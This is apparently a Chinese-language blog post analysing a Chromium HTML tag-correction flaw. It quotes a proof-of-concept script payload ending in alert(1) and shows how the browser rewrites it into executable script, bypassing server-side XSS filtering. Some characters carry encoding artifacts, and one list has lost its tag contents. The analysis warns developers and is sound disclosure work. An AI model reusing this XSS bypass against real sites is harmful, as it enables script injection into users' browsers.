之前的那篇給出了chrome標(biāo)簽修正特性漏洞的兩個原型,是在老外發(fā)出的11的漏洞思路上的再延展。
我說這個是只屬于chrome xss filter的標(biāo)簽修正特性有點誤導(dǎo),這個是全局的,來看下面老外發(fā)的這個漏洞
http://code.google.com/p/chromium/issues/detail?id=68484
測試代碼是
1.<script><!–
2.var x = "pwned</script x><script x>alert(1);//";
3.//–></script>
結(jié)果被修正為
1.<html>
2.<head>
3.<script><!–
4.var x = "pwned</script>
5.<script x>alert(1);//";
6.//–></script>
7.<script></script>
8.</head>
9.<body></body>
10.</html>
chrome動態(tài)修正了這個HTML文檔的3處節(jié)點:
1. 修正為
2.閉合了
chrome的標(biāo)簽修正特性只是按標(biāo)簽配對來修正的,沒有考慮HTML注釋或其他復(fù)雜的情況,所以alert(1)執(zhí)行了!
深入分析就會發(fā)現(xiàn)chrome的標(biāo)簽修正特性漏洞影響深遠,在各種復(fù)雜的應(yīng)用環(huán)境中會產(chǎn)生漏洞。
黑客不僅可以用于非持久型的XSS漏洞,還能用于富文本環(huán)境中,也提醒各位程序員和安全工程師,你在服務(wù)端精心布置的安全防御策略,可能會被客戶端歪曲修正為安全漏洞。